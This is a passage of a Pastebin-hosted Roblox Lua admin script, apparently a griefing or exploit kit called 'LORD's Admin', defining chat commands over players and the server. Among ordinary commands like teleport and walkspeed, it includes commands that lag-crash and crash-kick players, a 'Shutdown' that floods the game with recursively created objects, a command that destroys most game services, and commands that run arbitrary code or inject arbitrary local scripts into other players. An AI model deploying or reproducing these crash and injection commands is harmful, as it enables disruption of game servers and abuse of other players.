  1569.     local PlrTab = getPlayer(Speaker, Msg)
  1570.     if #PlrTab > 0 then
  1571.         for _,v in pairs(PlrTab) do
  1572.             ypcall(function()
  1573.                 if v.Name ~= Owner then
  1574.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1575.                     Ping("Muted "..v.Name, Speaker, 5)
  1576.                 end
  1577.             end)
  1578.         end
  1579.     end
  1580. end)
  1581.  
  1582. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1583.     local PlrTab = getPlayer(Speaker, Msg)
  1584.     if #PlrTab > 0 then
  1585.         for _,v in pairs(PlrTab) do
  1586.             ypcall(function()
  1587.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1588.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1589.             end)
  1590.         end
  1591.     end
  1592. end)
  1593.  
  1594. --[[
  1595.     :TBC()
  1596.  
  1597. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1598.     local PlrTab = getPlayer(Speaker, Msg)
  1599.     if #PlrTab > 0 then
  1600.         for _,v in pairs(PlrTab) do
  1601.             ypcall(function()
  1602.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1603.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1604.             end)
  1605.         end
  1606.     end
  1607. end)
  1608. ]]--
  1609.  
  1610. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1611.     local PlrTab = getPlayer(Speaker, Msg)
  1612.     if #PlrTab > 0 then
  1613.         for _,v in pairs(PlrTab) do
  1614.             ypcall(function()
  1615.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1616.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1617.             end)
  1618.         end
  1619.     end
  1620. end)
  1621.  
  1622. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1623.     local PlrTab = getPlayer(Speaker, Msg)
  1624.     if #PlrTab > 0 then
  1625.         for _,v in pairs(PlrTab) do
  1626.             ypcall(function()
  1627.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1628.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1629.             end)
  1630.         end
  1631.     end
  1632. end)
  1633.  
  1634. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1635.     local Worked = false
  1636.     for _,v in pairs(Work:GetChildren()) do
  1637.         if string.find(v.Name:lower(), Msg:lower()) then
  1638.             if v:IsA("Script") or v:IsA("LocalScript") then
  1639.                 v.Disabled = true
  1640.                 v:Destroy()
  1641.                 Worked = true
  1642.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1643.             end
  1644.         end
  1645.     end
  1646.     if Worked == false then
  1647.         Ping("Script Not Found", Speaker, 5)
  1648.     end
  1649. end)
  1650.  
  1651. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1652.     Dismiss(Speaker)
  1653.     local AllScripts = {}
  1654.     for _,v in pairs(Work:GetChildren()) do
  1655.         if v:IsA("Script") then
  1656.             table.insert(AllScripts, v.Name)
  1657.         end
  1658.     end
  1659.     if #AllScripts > 0 then
  1660.         for _,v in pairs(AllScripts) do
  1661.             Ping(v, Speaker)
  1662.         end
  1663.     else
  1664.         Ping("No Scripts Found", Speaker, 5)
  1665.     end
  1666. end)
  1667.  
  1668. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1669.     Dismiss(Speaker)
  1670.     local LocalScripts = {}
  1671.     for _,v in pairs(All()) do
  1672.         ypcall(function()
  1673.             for _,x in pairs(v.Character:GetChildren()) do
  1674.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1675.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1676.                 end
  1677.             end
  1678.         end)
  1679.         ypcall(function()
  1680.             for _,x in pairs(v.Backpack:GetChildren()) do
  1681.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1682.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1683.                 end
  1684.             end
  1685.         end)
  1686.         ypcall(function()
  1687.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1688.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1689.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1690.                 end
  1691.             end
  1692.         end)
  1693.     end
  1694.     if #LocalScripts > 0 then
  1695.         for _,v in pairs(LocalScripts) do
  1696.             Ping(v, Speaker)
  1697.         end
  1698.     else
  1699.         Ping("No Local Scripts Found", Speaker, 5)
  1700.     end
  1701. end)
  1702.  
  1703. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1704.     local Split = GetSplit(Msg)
  1705.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1706.     local ScriptName = Msg:sub(Split + 1)
  1707.     local FoundLocal = false
  1708.     for _,name in pairs(PlrTab) do
  1709.         ypcall(function()
  1710.             for _,v in pairs(name.Character:GetChildren()) do
  1711.                 if string.find(v.Name:lower(), ScriptName) then
  1712.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1713.                         v.Disabled = true
  1714.                         v:Destroy()
  1715.                         FoundLocal = true
  1716.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1717.                     end
  1718.                 end
  1719.             end
  1720.         end)
  1721.         ypcall(function()
  1722.             for _,v in pairs(name.Backpack:GetChildren()) do
  1723.                 if string.find(v.Name:lower(), ScriptName) then
  1724.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1725.                         v.Disabled = true
  1726.                         v:Destroy()
  1727.                         FoundLocal = true
  1728.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1729.                     end
  1730.                 end
  1731.             end
  1732.         end)
  1733.         ypcall(function()
  1734.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1735.                 if string.find(v.Name:lower(), ScriptName) then
  1736.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1737.                         v.Disabled = true
  1738.                         v:Destroy()
  1739.                         FoundLocal = true
  1740.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1741.                     end
  1742.                 end
  1743.             end
  1744.         end)
  1745.         if FoundLocal == false then
  1746.             Ping("Local Script Not Found", Speaker, 5)
  1747.         end
  1748.     end
  1749. end)
  1750.  
  1751. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1752.     for _,v in pairs(game:GetChildren()) do
  1753.         ypcall(function()
  1754.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1755.                 for _,a in pairs(v:GetChildren()) do
  1756.                     ypcall(function()
  1757.                         a:Destroy()
  1758.                     end)
  1759.                 end
  1760.             elseif v.Name == "Players" then
  1761.                 for _,plr in pairs(v:GetPlayers()) do
  1762.                     Clear(plr)
  1763.                 end
  1764.             end
  1765.         end)
  1766.     end
  1767.     Clean()
  1768.     Fixl()
  1769.     Ping("Fully Cleaned", Speaker, 5)
  1770. end)
  1771.  
  1772. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1773.     LClean()
  1774.     Fixl()
  1775.     Ping("Lightly Cleaned", Speaker, 5)
  1776. end)
  1777.  
  1778. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1779.     local PlrTab = getPlayer(Speaker, Msg)
  1780.     if #PlrTab > 0 then
  1781.         for _,v in pairs(PlrTab) do
  1782.             ypcall(function()
  1783.                 v:LoadCharacter()
  1784.                 Ping("Reset "..v.Name, Speaker, 5)
  1785.             end)
  1786.         end
  1787.     end
  1788. end)
  1789.  
  1790. Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
  1791.     local PlrTab = getPlayer(Speaker, Msg)
  1792.     if #PlrTab > 0 then
  1793.         for _,v in pairs(PlrTab) do
  1794.             ypcall(function()
  1795.                 v:LoadCharacter()
  1796.                 Ping("Respawned "..v.Name, Speaker, 5)
  1797.             end)
  1798.         end
  1799.     end
  1800. end)
  1801.  
  1802.  
  1803. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1804.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1805.     if Work:findFirstChild("Base") then
  1806.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1807.     else
  1808.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1809.     end
  1810.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1811. end)
  1812.  
  1813. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1814.     local PlrTab = getPlayer(Speaker, Msg)
  1815.     if #PlrTab > 0 then
  1816.         for _,v in pairs(PlrTab) do
  1817.             ypcall(function()
  1818.                 v.Character.Torso.Anchored = true
  1819.                 Ping("Froze "..v.Name, Speaker, 5)
  1820.             end)
  1821.         end
  1822.     end
  1823. end)
  1824.  
  1825. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1826.     local PlrTab = getPlayer(Speaker, Msg)
  1827.     if #PlrTab > 0 then
  1828.         for _,v in pairs(PlrTab) do
  1829.             ypcall(function()
  1830.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1831.                     ypcall(function()
  1832.                         v.Torso.Anchored = false
  1833.                     end)
  1834.                 end
  1835.                 Ping("Thawed "..v.Name, Speaker, 5)
  1836.             end)
  1837.         end
  1838.     end
  1839. end)
  1840.  
  1841. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1842.     local PlrTab = getPlayer(Speaker, Msg)
  1843.     if #PlrTab > 0 then
  1844.         for _,v in pairs(PlrTab) do
  1845.             ypcall(function()
  1846.                 Instance.new("ForceField", v.Character)
  1847.             end)
  1848.         end
  1849.     end
  1850. end)
  1851.  
  1852.  
  1853. Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
  1854.     local PlrTab = getPlayer(Speaker, Msg)
  1855.     if #PlrTab > 0 then
  1856.         for _,v in pairs(PlrTab) do
  1857.             ypcall(function()
  1858. t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1859. t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1860. t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1861. t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1862.             end)
  1863.         end
  1864.     end
  1865. end)
  1866.  
  1867. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1868.     local PlrTab = getPlayer(Speaker, Msg)
  1869.     if #PlrTab > 0 then
  1870.         for _,v in pairs(PlrTab) do
  1871.             ypcall(function()
  1872.                 RemObj(v.Character, "ForceField")
  1873.             end)
  1874.         end
  1875.     end
  1876. end)
  1877.  
  1878. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1879.     local Split = GetSplit(Msg)
  1880.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1881.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1882.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1883.         for i,v in pairs(PlrTab) do
  1884.             ypcall(function()
  1885.                 for _,v2 in pairs(PlrTab2) do
  1886.                     ypcall(function()
  1887.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1888.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1889.                     end)
  1890.                 end
  1891.             end)
  1892.         end
  1893.     end
  1894. end)
  1895.  
  1896. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1897.     MakeExplorer(Speaker)
  1898. end)
  1899.  
  1900. Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
  1901.     wait()
  1902.     Dismiss(Speaker)
  1903.     NumBanned = 0
  1904.     NumCmds = 0
  1905.     for i = 1, #Rankings do
  1906.         if Rankings[i].Rank < 0 then
  1907.             NumBanned = NumBanned + 1
  1908.         end
  1909.     end
  1910.     for i,v in pairs(Commands) do
  1911.         NumCmds = NumCmds + 1
  1912.     end
  1913.     Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
  1914.     Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
  1915.     Ping("Date Started: 18th May 2013", Speaker)
  1916.     Ping("Your ID: "..Speaker.userId, Speaker)
  1917.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1918.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1919.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1920.     Ping("ShowGarbage", Speaker)
  1921. end)
  1922.  
  1923. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1924.     Dismiss(Speaker)
  1925.     for i,v in pairs(All()) do
  1926.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1927.     end
  1928. end)
  1929.  
  1930. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1931.     local Split = GetSplit(Msg)
  1932.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1933.     local Speed = tonumber(Msg:sub(Split + 1))
  1934.     for _,v in pairs(PlrTab) do
  1935.         ypcall(function()
  1936.             v.Character.Humanoid.WalkSpeed = Speed
  1937.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1938.         end)
  1939.     end
  1940. end)
  1941.  
  1942. Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
  1943.     local RemoveAB = Instance.new("StringValue")
  1944.     RemoveAB.Name = "LORD Attachment"
  1945.     RemoveAB.Value = [[LORD.override=true;]]
  1946.     RemoveAB.Parent = Work
  1947.     Ping("Removed All LORD Anti-Bans", Speaker, 5)
  1948. end)
  1949.  
  1950. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1951.     Dismiss(Speaker)
  1952.     for i,v in pairs(Injected) do
  1953.         Ping(i, Speaker)
  1954.     end
  1955. end)
  1956.  
  1957. Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
  1958.     local RemoveCBA = Instance.new("StringValue")
  1959.     RemoveCBA.Name = "LORD Attachment"
  1960.     RemoveCBA.Value = [[LORD.remove = false]]
  1961.     RemoveCBA.Parent = Work
  1962.     Ping("Removed All LORD Admins", Speaker, 5)
  1963. end)
  1964.  
  1965. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1966.     local function BufferOverflow(object)
  1967.         object.DescendantAdded:connect(BufferOverflow)
  1968.         Instance.new("IntValue", object)
  1969.     end
  1970.     BufferOverflow(Game)
  1971. end)
  1972.  
  1973. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1974.     local PlrTab = getPlayer(Speaker, Msg)
  1975.     if #PlrTab > 0 then
  1976.         for _,v in pairs(PlrTab) do
  1977.             ypcall(function()
  1978.                 Crash1(v)
  1979.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1980.             end)
  1981.         end
  1982.     end
  1983. end)
  1984.  
  1985. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1986.     local PlrTab = getPlayer(Speaker, Msg)
  1987.     if #PlrTab > 0 then
  1988.         for _,v in pairs(PlrTab) do
  1989.             ypcall(function()
  1990.                 ChangeRank(v, -1)
  1991.             end)
  1992.         end
  1993.     end
  1994. end)
  1995.  
  1996. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1997.     local PlrTab = getPlayer(Speaker, Msg)
  1998.     if #PlrTab > 0 then
  1999.         for _,v in pairs(PlrTab) do
  2000.             ypcall(function()
  2001.                 ChangeRank(v, -2)
  2002.             end)
  2003.         end
  2004.     end
  2005. end)
  2006.  
  2007. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2008.     local PlrTab = getPlayer(Speaker, Msg)
  2009.     if #PlrTab > 0 then
  2010.         for _,v in pairs(PlrTab) do
  2011.             ypcall(function()
  2012.                 ChangeRank(v, -3)
  2013.             end)
  2014.         end
  2015.     end
  2016. end)
  2017.  
  2018. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2019.     ypcall(function()
  2020.         local PlrTab = getPlayer(Speaker, Msg)
  2021.         if #PlrTab > 0 then
  2022.             for _,v in pairs(PlrTab) do
  2023.                 ypcall(function()
  2024.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2025.                 end)
  2026.             end
  2027.         end
  2028.         local PlrName = ChangeRank(Msg, 0)
  2029.         Ping("Un-Banned "..PlrName, Speaker, 5)
  2030.     end)
  2031. end)
  2032.  
  2033. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2034.     Dismiss(Speaker)
  2035.     Ping("Commands", Speaker, nil, function()
  2036.         Dismiss(Speaker.Name)
  2037.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2038.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2039.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2040.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2041.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2042.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2043.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2044.         Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2045.     end)
  2046.     Ping("Players", Speaker, nil, function()
  2047.         ListPlayers(Speaker)
  2048.     end)
  2049. end)
  2050.  
  2051. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2052.     ListPlayers(Speaker)
  2053. end)
  2054.  
  2055. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2056.     local Func,Error = loadstring(Msg)
  2057.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2058.     getfenv(Func).Speaker = Speaker
  2059.     if Error == nil then
  2060.         coroutine.wrap(function()
  2061.             Func()
  2062.         end)()
  2063.         Ping("Executed Script!", Speaker, 5)
  2064.     else
  2065.         Ping(Error, Speaker, 10)
  2066.     end
  2067. end)
  2068.  
  2069. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2070.     if LS ~= nil then
  2071.         local Split = GetSplit(Msg)
  2072.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2073.         local LocalSource = Msg:sub(Split + 1)
  2074.         if #PlrTab > 0 then
  2075.             for _,v in pairs(PlrTab) do
  2076.                 local Inserted = LS:Clone()
  2077.                 Inserted.Disabled = true
  2078.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2079.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2080.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2081.                 end
  2082.                 Inserted[LSSource].Value = LocalSource
  2083.                 Inserted.Disabled = false
  2084.             end
  2085.         end
  2086.     else
  2087.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2088.     end
  2089. end)
  2090.  
  2091. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2092.     Msg = tostring(Msg)
  2093.     Ping(Msg, Speaker)
  2094. end)
  2095.  
  2096. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2097.     Dismiss(Speaker)
  2098.     for i,v in pairs(getfenv(1)) do
  2099.         ypcall(function()
  2100.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2101.         end)
  2102.     end
  2103. end)
  2104.  
  2105. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2106.     Dismiss()
  2107.     Removed = true
  2108.     for i,v in pairs(getfenv(1)) do
  2109.         getfenv(1)[i] = nil
  2110.     end
  2111.     script.Disabled = true
  2112. end)
  2113.  
  2114. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2115.     local Split = GetSplit(Msg)
  2116.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2117.     local Rank = tonumber(Msg:sub(Split + 1))
  2118.     if #PlrTab > 0 then
  2119.         for _,v in pairs(PlrTab) do
  2120.             if v.Name ~= Owner then
  2121.                 ChangeRank(v, Rank)
  2122.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2123.             end
  2124.         end
  2125.     end
  2126. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!